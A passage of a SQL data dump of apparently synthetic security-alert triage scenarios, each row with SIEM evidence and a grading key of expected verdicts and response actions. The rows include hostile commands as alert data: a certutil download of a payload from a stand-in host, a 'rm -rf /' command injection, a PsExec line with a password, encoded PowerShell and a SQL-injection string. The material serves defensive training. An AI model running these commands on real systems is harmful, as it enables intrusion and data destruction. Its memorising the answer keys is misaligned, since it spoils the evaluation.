3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.126Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:10:20Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.55\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"dlee\\\",\\\"hostname\\\":\\\"workstation-55\\\",\\\"command_line\\\":\\\"powershell.exe -EncodedCommand VwBFAFcAIAAtAE4AbwBwAG8AbwAgACIAaAB0AHQAcAA6AC8ALwBtAGEAbAB3AGEAcgBlAC4AYwBvAG0AIgA=\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1742, 'APT41 Lateral Movement Detected via PSExec', 'critical', 'ThreatConnect', 'Suspicious PSExec execution detected from an internal IP, mimicking APT41 techniques. Internal lateral movement observed.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.100.23\",\"dst_ip\":\"192.168.100.45\",\"username\":\"domain\\\\admin_user\",\"hostname\":\"CORP-SERVER-01\",\"command_line\":\"psexec \\\\\\\\192.168.100.45 -u domain\\\\admin_user -p Password123 cmd.exe\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in lateral movement\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Target internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec \\\\\\\\192.168.100.45 -u domain\\\\admin_user -p Password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PSExec command indicative of lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec is commonly used for lateral movement by APT41, indicating a potential breach.\"}', 'Advanced', 'TI', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.139Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.100.23\\\",\\\"dst_ip\\\":\\\"192.168.100.45\\\",\\\"username\\\":\\\"domain\\\\\\\\admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER-01\\\",\\\"command_line\\\":\\\"psexec \\\\\\\\\\\\\\\\192.168.100.45 -u domain\\\\\\\\admin_user -p Password123 cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1743, 'Lazarus Group Phishing Attempt with Malicious URL', 'high', 'MISP', 'Phishing email from a known Lazarus Group domain containing a malicious URL targeting internal users.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.200.15\",\"email_sender\":\"alert@secure-mail.com\",\"username\":\"john.doe@company.com\",\"hostname\":\"MAIL-SERVER-01\",\"url\":\"http://malicious-site.com/login\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alert@secure-mail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain mimics legitimate services\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL identified as phishing site\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Email with malicious URL targeting users, typical tactic of Lazarus Group.\"}', 'Advanced', 'TI', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.141Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:30:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.200.15\\\",\\\"email_sender\\\":\\\"alert@secure-mail.com\\\",\\\"username\\\":\\\"john.doe@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-01\\\",\\\"url\\\":\\\"http://malicious-site.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1744, 'Fancy Bear Command Injection via Web Application', 'critical', 'Recorded Future', 'Detected command injection attempt from external IP using vulnerable web application endpoint.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:15:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"192.168.250.10\",\"hostname\":\"WEB-SERVER-01\",\"request_body\":\"id=1; rm -rf /\",\"url\":\"http://target-site.com/vulnerable-endpoint\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for multiple web-based attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://target-site.com/vulnerable-endpoint\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Endpoint known to be vulnerable\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"id=1; rm -rf /\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Command injection attempt to compromise web server, typical Fancy Bear tactic.\"}', 'Advanced', 'TI', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.149Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:15:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.25\\\",\\\"dst_ip\\\":\\\"192.168.250.10\\\",\\\"hostname\\\":\\\"WEB-SERVER-01\\\",\\\"request_body\\\":\\\"id=1; rm -rf /\\\",\\\"url\\\":\\\"http://target-site.com/vulnerable-endpoint\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1745, 'Cozy Bear Credential Harvesting via Spear-Phishing', 'high', 'Anomali', 'Spear-phishing email detected with a link to a credential harvesting site impersonating internal IT department.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"192.168.1.30\",\"email_sender\":\"it-support@company-fake.com\",\"username\":\"alice.smith@company.com\",\"hostname\":\"MAIL-SERVER-02\",\"url\":\"https://fake-it-support.com/login\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"it-support@company-fake.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain closely resembles legitimate company domain\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://fake-it-support.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts a credential harvesting page\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Spear-phishing attempt with a spoofed IT email targeting user credentials.\"}', 'Advanced', 'TI', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.151Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:00:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.55\\\",\\\"dst_ip\\\":\\\"192.168.1.30\\\",\\\"email_sender\\\":\\\"it-support@company-fake.com\\\",\\\"username\\\":\\\"alice.smith@company.com\\\",\\\"hostname\\\":\\\"MAIL-SERVER-02\\\",\\\"url\\\":\\\"https://fake-it-support.com/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1746, 'APT29 Supply Chain Attack Using Certutil', 'critical', 'Recorded Future', 'APT29 suspected to be using certutil for downloading malicious payloads within supply chain compromise.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"hostname\":\"SUPPLY-CHAIN-SERVER-01\",\"command_line\":\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\temp\\\\payload.exe\",\"file_hash\":\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\temp\\\\payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Certutil command used for downloading malware\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-server.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts malware payload\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known malware\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT29 leveraging certutil to download and execute malware, indicating a supply chain attack.\"}', 'Advanced', 'TI', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.153Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"hostname\\\":\\\"SUPPLY-CHAIN-SERVER-01\\\",\\\"command_line\\\":\\\"certutil -urlcache -split -f http://malicious-server.com/payload.exe C:\\\\\\\\temp\\\\\\\\payload.exe\\\",\\\"file_hash\\\":\\\"abc123def456ghi789jkl012mno345pqr678stu901vwx234yz567abcd890efg12\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1747, 'Suspicious PowerShell Execution with Encoded Commands', 'medium', 'Anomali', 'Detected PowerShell process executing encoded commands, possibly benign administrative activity.', 'Suspicious Activity', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.10\",\"hostname\":\"ADMIN-PC-01\",\"command_line\":\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\"}', '2026-03-15 19:52:44', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address executing PowerShell\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc W1BMAG8AZwBdACAALQBtAGUAcwBzAGEAZwBlACAAIgBDAGgAZQBjAGsAaQBuAGcAIABsAG8AZwBzAC4ALgAuAC4AIgA=\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encoded PowerShell command indicative of admin 